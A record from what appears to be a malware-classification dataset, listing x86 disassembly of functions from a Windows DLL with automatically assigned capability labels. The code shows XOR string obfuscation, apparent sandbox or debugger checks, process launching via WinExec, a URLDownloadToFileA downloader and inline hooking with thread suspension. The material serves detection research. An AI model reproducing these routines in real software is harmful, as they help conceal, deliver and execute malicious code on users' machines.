joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000cd80
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001fe08
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x10028014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edx, 0x75
xor eax, eax
nop
mov cl, byte [eax + 0x100221b4]
xor cl, dl
mov byte [ebp + eax - 0x34], cl
inc eax
lea ecx, [edx + 1]
movzx edx, cl
cmp eax, 0x21
jb 0x1000cdb0
mov byte [ebp - 0x13], 0
push ecx
lea eax, [ebp - 0x34]
mov dword [ebp - 4], 0
push eax
push ecx
mov edx, 2
mov ecx, 0x10086bb0
call fcn.10005940
add esp, 0xc
call fcn.10004320
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001e905
mov esp, ebp
pop ebp
ret

Function at 0x1000ce10
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x10028014]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, 0x49
xor eax, eax
nop word [eax + eax]
mov cl, byte [eax + str.:__8__8_q]
xor cl, dl
mov byte [ebp + eax - 0x18], cl
inc eax
lea ecx, [edx + 1]
movzx edx, cl
cmp eax, 0x10
jb 0x1000ce30
push 0
lea eax, [ebp - 0x18]
mov byte [ebp - 8], 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
call fcn.10004320
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001e905
mov esp, ebp
pop ebp
ret
Function at 0x1000e440
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001fea8
mov eax, dword fs:[0]
push eax
sub esp, 0x5c
mov eax, dword [0x10028014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x68], 0
call fcn.10003d30
test al, al
jne 0x1000e4fc
call fcn.10003de0
test al, al
jne 0x1000e4fc
mov edx, 0xd9
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + 0x1002226c]
xor al, dl
mov byte [ebp + ecx - 0x20], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xd
jb 0x1000e490
push 0
lea eax, [ebp - 0x20]
mov byte [ebp - 0x13], 0
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
jne 0x1000e4fc
mov eax, str.r_jaajkmfg
lea ecx, [ebp - 0x38]
sub eax, 0x3ed419b4
push eax
call fcn.10018d20
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x1000e4fc
mov eax, str.zGINS_nAJK
lea ecx, [ebp - 0x2c]
sub eax, 0x13b12eb4
push eax
call fcn.10018d60
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x1000e4fc
xor al, al
jmp 0x1000e4fe
mov al, 1
test al, al
je 0x1000e54b
mov edx, 0xe8
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + 0x10022294]
xor al, dl
mov byte [ebp + ecx - 0x64], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x2a
jb 0x1000e510
mov byte [ebp - 0x3a], 0
push ecx
lea eax, [ebp - 0x64]
mov dword [ebp - 4], 0
push eax
push ecx
mov edx, 2
mov ecx, 0x10086bb0
call fcn.10005940
add esp, 0xc
cmp byte [0x101888aa], 0
jne 0x1000e563
sub esp, 8
push 0
push 0x1000ce70
call fcn.10004160
cmp byte [0x101888a8], 0
jne 0x1000e57b
sub esp, 8
push 0
push 0x1000d1b0
call fcn.10004160
cmp byte [0x101888ab], 0
jne 0x1000e593
sub esp, 8
push 0
push 0x1000b270
call fcn.10004160
cmp byte [0x101888a9], 0
jne 0x1000e5ab
sub esp, 8
push 0
push 0x1000cf80
call fcn.10004160
cmp byte [0x101888ac], 0
jne 0x1000e5c3
sub esp, 8
push 0
push 0x1000e5f0
call fcn.10004160
mov dword [0x101888a8], 0
mov byte [0x101888ac], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001e905
mov esp, ebp
pop ebp
ret
Function at 0x1000f2f0
Capabilities:
Check if file exists
Create directory
Download url
Encode data using xor
Receive data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24c
mov eax, dword [0x10028014]
xor eax, esp
mov dword [esp + 0x248], eax
push edi
push 0x104
lea eax, [esp + 0x3c]
mov edi, ecx
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov edx, 0xcf
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ecx + 0x10022348]
xor al, dl
mov byte [esp + ecx + 8], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x22
jb 0x1000f330
push edi
lea eax, [esp + 0xc]
mov byte [esp + 0x2e], 0
push eax
lea eax, [esp + 0x40]
push eax
call fcn.10001410
add esp, 0xc
mov edx, 0xce
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + 0x1002236c]
xor al, dl
mov byte [esp + ecx + 8], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x1b
jb 0x1000f370
lea eax, [esp + 8]
mov byte [esp + 0x23], 0
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
sete al
test al, al
je 0x1000f3da
mov edx, 0xc3
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ecx + 0x10022388]
xor al, dl
mov byte [esp + ecx + 8], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x1b
jb 0x1000f3b0
push 0
lea eax, [esp + 0xc]
mov byte [esp + 0x27], 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [esp + 0x38]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x1000f45c
push 0x104
push eax
lea eax, [esp + 0x148]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov edx, 0xa6
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + 0x100223a4]
xor al, dl
mov byte [esp + ecx + 8], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x2f
jb 0x1000f410
push edi
lea eax, [esp + 0xc]
mov byte [esp + 0x3b], 0
push eax
lea eax, [esp + 0x148]
push eax
call fcn.10001410
add esp, 0xc
lea eax, [esp + 0x38]
push 0
push 0
push eax
lea eax, [esp + 0x14c]
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, dword [esp + 0x24c]
pop edi
xor ecx, esp
call fcn.1001e905
mov esp, ebp
pop ebp
ret
Function at 0x1000f470
Capabilities:
Check if file exists
Create directory
Download url
Encode data using xor
Receive data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24c
mov eax, dword [0x10028014]
xor eax, esp
mov dword [esp + 0x248], eax
push edi
push 0x104
lea eax, [esp + 0x3c]
mov edi, ecx
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov edx, 0xee
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ecx + 0x100223d4]
xor al, dl
mov byte [esp + ecx + 8], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x22
jb 0x1000f4b0
push edi
lea eax, [esp + 0xc]
mov byte [esp + 0x2e], 0
push eax
lea eax, [esp + 0x40]
push eax
call fcn.10001410
add esp, 0xc
mov edx, 0xbb
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + 0x100223f8]
xor al, dl
mov byte [esp + ecx + 8], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x1b
jb 0x1000f4f0
lea eax, [esp + 8]
mov byte [esp + 0x23], 0
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
sete al
test al, al
je 0x1000f55a
mov edx, 0x69
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ecx + 0x10022414]
xor al, dl
mov byte [esp + ecx + 8], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x1b
jb 0x1000f530
push 0
lea eax, [esp + 0xc]
mov byte [esp + 0x27], 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [esp + 0x38]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x1000f5dc
push 0x104
push eax
lea eax, [esp + 0x148]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov edx, 0x4b
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + str.89_u]
xor al, dl
mov byte [esp + ecx + 8], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x2f
jb 0x1000f590
push edi
lea eax, [esp + 0xc]
mov byte [esp + 0x3b], 0
push eax
lea eax, [esp + 0x148]
push eax
call fcn.10001410
add esp, 0xc
lea eax, [esp + 0x38]
push 0
push 0
push eax
lea eax, [esp + 0x14c]
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, dword [esp + 0x24c]
pop edi
xor ecx, esp
call fcn.1001e905
mov esp, ebp
pop ebp
ret
Function at 0x100139c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10020230
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x10028014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
test esi, esi
jne 0x10013a26
mov edx, 0x5f
mov al, byte [ecx + 0x10022cbc]
xor al, dl
mov byte [ebp + ecx - 0x2c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x17
jb 0x100139f4
mov byte [ebp - 0x15], 0
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], 0
call fcn.100043d0
mov dword [ebp - 4], 0xffffffff
push 0xff
push 0x1d
lea edx, [ebp - 0x30]
mov dword [ebp - 0x30], 0xccccccc3
mov ecx, esi
mov dword [ebp - 0x2c], 0xcccccccc
mov dword [ebp - 0x28], 0x8904ff8b
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x20], 0x8ff8bff
mov dword [ebp - 0x1c], 0xffffff89
mov dword [ebp - 0x18], 0xff8bffff
mov byte [ebp - 0x14], 0xc
call fcn.10004040
mov esi, eax
add esp, 8
test esi, esi
je 0x10013acc
mov dword [0x10188b5c], 0x70
call fcn.1001b840
cmp dword [0x10188bb4], 0
jne 0x10013a9e
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapCreate]
mov dword [0x10188bb4], eax
xor eax, eax
mov ecx, 0x10188884
xchg dword [ecx], eax
add esi, 8
push ecx
mov ecx, esi
call fcn.1001b890
mov ecx, esi
call fcn.1001ba30
push 5
mov edx, 0x1000df00
mov ecx, esi
call fcn.10003fe0
add esp, 4
jmp 0x10013afe
mov edx, 0x13
xor ecx, ecx
mov al, byte [ecx + str.H__PXE9IzujwOOE]
xor al, dl
mov byte [ebp + ecx - 0x34], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x21
jb 0x10013ad3
mov byte [ebp - 0x13], 0
lea ecx, [ebp - 0x34]
mov dword [ebp - 4], 2
call fcn.100043d0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001e905
mov esp, ebp
pop ebp
ret
Function at 0x100169b0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10020418
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x10028014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
cmp dword [ebx + 0x38], 0
je 0x10016ad0
cmp byte [ebx + 0x3d], 0
je 0x10016ad0
mov eax, dword [ebx]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
sete al
test al, al
je 0x10016a09
xor al, al
jmp 0x10016ad2
sub esp, 8
lea ecx, [ebp - 0x28]
call fcn.10015160
mov dword [ebp - 4], 0
mov esi, dword [ebp - 0x14]
lea edi, [ebx + 0x40]
cmp esi, 0x10
lea eax, [ebp - 0x2c]
push eax
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x28]
cmovae edx, dword [ebp - 0x28]
lea ecx, [ebp - 0x28]
cmovae ecx, dword [ebp - 0x28]
add eax, edx
push eax
push ecx
mov ecx, dword [ebx + 0x38]
push edi
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
sub eax, 0
je 0x10016a5d
sub eax, 1
je 0x10016a61
mov esi, dword [ebp - 0x14]
sub eax, 2
je 0x10016ab9
xor bl, bl
jmp 0x10016abb
mov byte [ebx + 0x3d], 0
mov esi, dword [ebp - 0x14]
lea eax, [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
cmp esi, 0x10
mov edi, dword [ebp - 0x2c]
cmovae eax, ecx
sub edi, eax
je 0x10016a97
push dword [ebx + 0x4c]
cmp esi, 0x10
lea eax, [ebp - 0x28]
push edi
cmovae eax, ecx
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov esi, dword [ebp - 0x14]
add esp, 0x10
cmp edi, eax
jne 0x10016a59
cmp byte [ebx + 0x3d], 0
je 0x10016ab9
test edi, edi
lea edi, [ebx + 0x40]
jne 0x10016a21
push 0
push 8
lea ecx, [ebp - 0x28]
call fcn.10016720
jmp 0x10016a1b
mov bl, 1
cmp esi, 0x10
jb 0x10016acc
lea ecx, [esi + 1]
push ecx
push dword [ebp - 0x28]
call fcn.10016c60
mov al, bl
jmp 0x10016ad2
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001e905
mov esp, ebp
pop ebp
ret

Function at 0x10018840
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xdd
xor eax, eax
mov dl, byte [edi + eax - 0x6db8ad5e]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x16
jb 0x10018851
pop edi
mov byte [esi + 0x16], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x100188b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 9
xor eax, eax
mov dl, byte [edi + eax - 0x7bd60ae8]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x1a
jb 0x100188c1
pop edi
mov byte [esi + 0x1a], 0
mov eax, esi
pop esi
pop ebp
ret 4
Function at 0x100189c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xf3
xor eax, eax
mov dl, byte [edi + eax - 0x2b8b1aec]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xc
jb 0x100189d1
pop edi
mov byte [esi + 0xc], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10018a00
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xae
xor eax, eax
mov dl, byte [edi + eax - 0x37b821da]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xe
jb 0x10018a11
pop edi
mov byte [esi + 0xe], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10018bf0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x15
xor eax, eax
mov dl, byte [edi + eax + 0x43f2140e]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xf
jb 0x10018c01
pop edi
mov byte [esi + 0xf], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10018ce0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xd9
xor eax, eax
mov dl, byte [edi + eax - 0x1a2e1036]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xd
jb 0x10018cf1
pop edi
mov byte [esi + 0xd], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10018d20
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 1
xor eax, eax
mov dl, byte [edi + eax + 0x3ed419b4]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xb
jb 0x10018d31
pop edi
mov byte [esi + 0xb], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10018df0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xe8
xor eax, eax
mov dl, byte [edi + eax + 0x3566316e]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x2a
jb 0x10018e01
pop edi
mov byte [esi + 0x2a], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10019140
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xef
xor eax, eax
mov dl, byte [edi + eax - 0x20ea7df6]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x43
jb 0x10019151
pop edi
mov byte [esi + 0x43], 0
mov eax, esi
pop esi
pop ebp
ret 4
Function at 0x1001a9f0
Capabilities:
Allocate or change rwx memory

Disassembly:
mov eax, dword [0x10aaa7fc]
test eax, eax
je 0x1001aa0c
nop dword [eax]
cmp dword [eax + 4], 0
jne 0x1001aa66
mov eax, dword [eax]
test eax, eax
jne 0x1001aa00
push 0x40
push 0x3000
push 0x1000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
test ecx, ecx
je 0x1001aa64
push esi
lea edx, [ecx + 0x20]
mov dword [ecx + 4], 0
mov esi, edx
mov dword [ecx + 8], 0
sub esi, ecx
nop dword [eax]
mov eax, dword [ecx + 4]
add esi, 0x20
mov dword [edx], eax
mov dword [ecx + 4], edx
add edx, 0x20
cmp esi, 0xfe0
jbe 0x1001aa40
mov eax, dword [0x10aaa7fc]
mov dword [ecx], eax
mov dword [0x10aaa7fc], ecx
pop esi
mov eax, ecx
ret
Function at 0x1001b470
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x10028014]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0
push 4
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x1001b558
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x1c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x1001b551
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
nop word [eax + eax]
cmp dword [ebp - 0x20], 0x10
jb 0x1001b536
call ebx
cmp dword [ebp - 0x14], eax
jne 0x1001b536
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [ebp - 0x18], eax
je 0x1001b536
mov ecx, dword [esi]
test ecx, ecx
jne 0x1001b4ff
push 0x200
push ecx
push dword [0x10188bb4]
mov dword [esi + 4], 0x80
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [esi], eax
test eax, eax
je 0x1001b550
jmp 0x1001b528
mov eax, dword [esi + 4]
cmp dword [esi + 8], eax
jb 0x1001b528
shl eax, 3
push eax
push ecx
push 0
push dword [0x10188bb4]
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
test eax, eax
je 0x1001b550
mov ecx, dword [esi + 4]
add ecx, ecx
mov dword [esi], eax
mov dword [esi + 4], ecx
mov edx, dword [esi + 8]
mov ecx, dword [esi]
mov eax, dword [ebp - 0x18]
mov dword [ecx + edx*4], eax
inc dword [esi + 8]
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x1c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x1001b4c0
pop ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1001e905
mov esp, ebp
pop ebp
ret

Function at 0x1001b570
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, ecx
mov dword [ebp - 4], edx
mov dword [edi], 0
mov dword [edi + 4], 0
mov dword [edi + 8], 0
call fcn.1001b470
cmp dword [edi], 0
je 0x1001b5dc
push esi
xor esi, esi
cmp dword [edi + 8], esi
jbe 0x1001b5db
push ebx
mov eax, dword [edi]
push dword [eax + esi*4]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov ebx, eax
test ebx, ebx
je 0x1001b5d4
push ebx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push dword [ebp + 8]
mov edx, dword [ebp - 4]
mov ecx, ebx
call fcn.1001b300
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, dword [edi + 8]
jb 0x1001b5a1
pop ebx
pop esi
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x1001b5f0
Capabilities:
Resume thread

Disassembly:
push edi
mov edi, ecx
cmp dword [edi], 0
je 0x1001b63c
push esi
xor esi, esi
cmp dword [edi + 8], esi
jbe 0x1001b62b
push ebx
mov eax, dword [edi]
push dword [eax + esi*4]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov ebx, eax
test ebx, ebx
je 0x1001b624
push ebx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, dword [edi + 8]
jb 0x1001b601
pop ebx
push dword [edi]
push 0
push dword [0x10188bb4]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop esi
pop edi
ret
Function at 0x1001b640
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
imul edi, ecx, 0x2c
mov ebx, 5
add edi, dword [0x10aaa7f0]
test byte [edi + 0x14], 1
mov esi, dword [edi]
je 0x1001b664
sub esi, ebx
mov ebx, 7
lea eax, [ebp - 4]
push eax
push 0x40
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1001b682
pop edi
pop esi
mov eax, 0xa
pop ebx
mov esp, ebp
pop ebp
ret
mov byte [esi], 0xe9
mov eax, dword [edi + 4]
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
test byte [edi + 0x14], 1
je 0x1001b69d
mov eax, dword [edi]
mov word [eax], 0xf9eb
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
or byte [edi + 0x14], 6
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001b6d0
Capabilities:
Allocate or change rwx memory
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov ecx, dword [0x10aaa7f8]
push ebx
push esi
xor ebx, ebx
xor esi, esi
mov dword [ebp - 4], ebx
test ecx, ecx
je 0x1001b833
mov eax, dword [0x10aaa7f0]
add eax, 0x14
test byte [eax], 2
je 0x1001b70a
inc esi
add eax, 0x2c
cmp esi, ecx
jb 0x1001b6f5
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
cmp esi, 0xffffffff
je 0x1001b833
push edi
push 1
or edx, 0xffffffff
lea ecx, [ebp - 0x18]
call fcn.1001b570
mov edx, dword [0x10aaa7f8]
add esp, 4
cmp esi, edx
jae 0x1001b7e6
imul ecx, esi, 0x2c
mov dword [ebp - 0xc], ecx
nop dword [eax + eax]
mov ebx, dword [0x10aaa7f0]
add ebx, ecx
test byte [ebx + 0x14], 2
jne 0x1001b7cb
test byte [ebx + 0x14], 1
mov eax, 5
mov edi, dword [ebx]
mov dword [ebp - 4], eax
je 0x1001b768
sub edi, eax
mov eax, 7
mov dword [ebp - 4], eax
lea ecx, [ebp - 8]
push ecx
push 0x40
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1001b7de
mov byte [edi], 0xe9
mov eax, dword [ebx + 4]
sub eax, edi
sub eax, 5
mov dword [edi + 1], eax
test byte [ebx + 0x14], 1
je 0x1001b795
mov eax, dword [ebx]
mov word [eax], 0xf9eb
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push dword [ebp - 4]
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
or byte [ebx + 0x14], 6
xor ebx, ebx
mov edx, dword [0x10aaa7f8]
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 4], ebx
jmp 0x1001b7cd
xor ebx, ebx
inc esi
add ecx, 0x2c
mov dword [ebp - 0xc], ecx
cmp esi, edx
jb 0x1001b740
jmp 0x1001b7e6
mov ebx, 0xa
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x1001b832
xor esi, esi
cmp dword [ebp - 0x10], esi
jbe 0x1001b823
mov ebx, eax
push dword [ebx + esi*4]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
test edi, edi
je 0x1001b817
push edi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, dword [ebp - 0x10]
jb 0x1001b7f6
mov ebx, dword [ebp - 4]
mov eax, dword [ebp - 0x18]
push eax
push 0
push dword [0x10188bb4]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret